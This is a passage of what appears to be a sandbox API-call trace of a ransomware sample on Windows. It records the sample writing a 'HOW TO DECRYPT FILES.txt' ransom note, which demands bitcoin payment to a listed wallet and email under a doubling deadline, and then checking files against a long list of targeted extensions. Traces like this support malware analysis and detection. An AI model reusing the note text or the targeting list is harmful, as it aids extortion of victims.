lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\" [0104.615] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\") returned="" [0104.615] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\HOW TO DECRYPT FILES.txt" [0104.615] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\securityauditpolici#\\0d274000ebb641e36382e2f19bb64f4e\\how to decrypt files.txt")) returned 0xffffffff [0104.615] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\securityauditpolici#\\0d274000ebb641e36382e2f19bb64f4e\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.616] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.616] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.618] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.618] CloseHandle (hObject=0x90) returned 1 [0104.618] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\", lpString2="SecurityAuditPoliciesSnapIn.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll" [0104.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ems") returned 0 [0104.618] lstrlenA (lpString="*.ems") returned 5 [0104.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.db") returned 0 [0104.618] lstrlenA (lpString="*.db") returned 4 [0104.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dbf") returned 0 [0104.618] lstrlenA (lpString="*.dbf") returned 5 [0104.618] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.myox") returned 0 [0104.618] lstrlenA (lpString="*.myox") returned 6 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.myo") returned 0 [0104.619] lstrlenA (lpString="*.myo") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbw") returned 0 [0104.619] lstrlenA (lpString="*.qbw") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbb") returned 0 [0104.619] lstrlenA (lpString="*.qbb") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbm") returned 0 [0104.619] lstrlenA (lpString="*.qbm") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbo") returned 0 [0104.619] lstrlenA (lpString="*.qbo") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbx") returned 0 [0104.619] lstrlenA (lpString="*.qbx") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qba") returned 0 [0104.619] lstrlenA (lpString="*.qba") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qby") returned 0 [0104.619] lstrlenA (lpString="*.qby") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qbj") returned 0 [0104.619] lstrlenA (lpString="*.qbj") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ofx") returned 0 [0104.619] lstrlenA (lpString="*.ofx") returned 5 [0104.619] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.qif") returned 0 [0104.620] lstrlenA (lpString="*.qif") returned 5 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mye") returned 0 [0104.620] lstrlenA (lpString="*.mye") returned 5 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mbox") returned 0 [0104.620] lstrlenA (lpString="*.mbox") returned 6 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.eml") returned 0 [0104.620] lstrlenA (lpString="*.eml") returned 5 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pst") returned 0 [0104.620] lstrlenA (lpString="*.pst") returned 5 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ost") returned 0 [0104.620] lstrlenA (lpString="*.ost") returned 5 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.idx") returned 0 [0104.620] lstrlenA (lpString="*.idx") returned 5 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dbx") returned 0 [0104.620] lstrlenA (lpString="*.dbx") returned 5 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.sql") returned 0 [0104.620] lstrlenA (lpString="*.sql") returned 5 [0104.620] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mdb") returned 0 [0104.621] lstrlenA (lpString="*.mdb") returned 5 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.fdb") returned 0 [0104.621] lstrlenA (lpString="*.fdb") returned 5 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.wab") returned 0 [0104.621] lstrlenA (lpString="*.wab") returned 5 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dat") returned 0 [0104.621] lstrlenA (lpString="*.dat") returned 5 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.txt") returned 0 [0104.621] lstrlenA (lpString="*.txt") returned 5 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.jpeg") returned 0 [0104.621] lstrlenA (lpString="*.jpeg") returned 6 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.jpg") returned 0 [0104.621] lstrlenA (lpString="*.jpg") returned 5 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.png") returned 0 [0104.621] lstrlenA (lpString="*.png") returned 5 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.php") returned 0 [0104.621] lstrlenA (lpString="*.php") returned 5 [0104.621] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.cs") returned 0 [0104.622] lstrlenA (lpString="*.cs") returned 4 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.cpp") returned 0 [0104.622] lstrlenA (lpString="*.cpp") returned 5 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.rar") returned 0 [0104.622] lstrlenA (lpString="*.rar") returned 5 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.zip") returned 0 [0104.622] lstrlenA (lpString="*.zip") returned 5 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.html") returned 0 [0104.622] lstrlenA (lpString="*.html") returned 6 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.htm") returned 0 [0104.622] lstrlenA (lpString="*.htm") returned 5 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.xlsx") returned 0 [0104.622] lstrlenA (lpString="*.xlsx") returned 6 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.xls") returned 0 [0104.622] lstrlenA (lpString="*.xls") returned 5 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mp4") returned 0 [0104.622] lstrlenA (lpString="*.mp4") returned 5 [0104.622] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.ppt") returned 0 [0104.622] lstrlenA (lpString="*.ppt") returned 5 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pptx") returned 0 [0104.623] lstrlenA (lpString="*.pptx") returned 6 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.doc") returned 0 [0104.623] lstrlenA (lpString="*.doc") returned 5 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dot") returned 0 [0104.623] lstrlenA (lpString="*.dot") returned 5 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.docx") returned 0 [0104.623] lstrlenA (lpString="*.docx") returned 6 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.7z") returned 0 [0104.623] lstrlenA (lpString="*.7z") returned 4 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.tar") returned 0 [0104.623] lstrlenA (lpString="*.tar") returned 5 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.bz2") returned 0 [0104.623] lstrlenA (lpString="*.bz2") returned 5 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.gz") returned 0 [0104.623] lstrlenA (lpString="*.gz") returned 4 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mkv") returned 0 [0104.623] lstrlenA (lpString="*.mkv") returned 5 [0104.623] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.eml") returned 0 [0104.623] lstrlenA (lpString="*.eml") returned 5 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.msg") returned 0 [0104.624] lstrlenA (lpString="*.msg") returned 5 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.edb") returned 0 [0104.624] lstrlenA (lpString="*.edb") returned 5 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.accdb") returned 0 [0104.624] lstrlenA (lpString="*.accdb") returned 7 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.odb") returned 0 [0104.624] lstrlenA (lpString="*.odb") returned 5 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.java") returned 0 [0104.624] lstrlenA (lpString="*.java") returned 6 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.asm") returned 0 [0104.624] lstrlenA (lpString="*.asm") returned 5 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pfx") returned 0 [0104.624] lstrlenA (lpString="*.pfx") returned 5 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pem") returned 0 [0104.624] lstrlenA (lpString="*.pem") returned 5 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.p12") returned 0 [0104.624] lstrlenA (lpString="*.p12") returned 5 [0104.624] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.gpg") returned 0 [0104.625] lstrlenA (lpString="*.gpg") returned 5 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.vsd") returned 0 [0104.625] lstrlenA (lpString="*.vsd") returned 5 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.odg") returned 0 [0104.625] lstrlenA (lpString="*.odg") returned 5 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.raw") returned 0 [0104.625] lstrlenA (lpString="*.raw") returned 5 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.nef") returned 0 [0104.625] lstrlenA (lpString="*.nef") returned 5 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.svg") returned 0 [0104.625] lstrlenA (lpString="*.svg") returned 5 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.psd") returned 0 [0104.625] lstrlenA (lpString="*.psd") returned 5 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.vmx") returned 0 [0104.625] lstrlenA (lpString="*.vmx") returned 5 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.vmdk") returned 0 [0104.625] lstrlenA (lpString="*.vmdk") returned 6 [0104.625] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.vdi") returned 0 [0104.625] lstrlenA (lpString="*.vdi") returned 5 [0104.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.lay6") returned 0 [0104.626] lstrlenA (lpString="*.lay6") returned 6 [0104.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.mpeg") returned 0 [0104.626] lstrlenA (lpString="*.mpeg") returned 6 [0104.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.djvu") returned 0 [0104.626] lstrlenA (lpString="*.djvu") returned 6 [0104.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.tiff") returned 0 [0104.626] lstrlenA (lpString="*.tiff") returned 6 [0104.626] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.backup") returned 0 [0104.628] lstrlenA (lpString="*.backup") returned 8 [0104.628] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.pdf") returned 0 [0104.629] lstrlenA (lpString="*.pdf") returned 5 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.cert") returned 0 [0104.629] lstrlenA (lpString="*.cert") returned 6 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.docm") returned 0 [0104.629] lstrlenA (lpString="*.docm") returned 6 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.xlsm") returned 0 [0104.629] lstrlenA (lpString="*.xlsm") returned 6 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.dwg") returned 0 [0104.629] lstrlenA (lpString="*.dwg") returned 5 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.nd") returned 0 [0104.629] lstrlenA (lpString="*.nd") returned 4 [0104.629] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\SecurityAuditPolici#\\0d274000ebb641e36382e2f19bb64f4e\\SecurityAuditPoliciesSnapIn.ni.dll", pszSpec="*.tlg") returned 0 [0104.629] lstrlenA 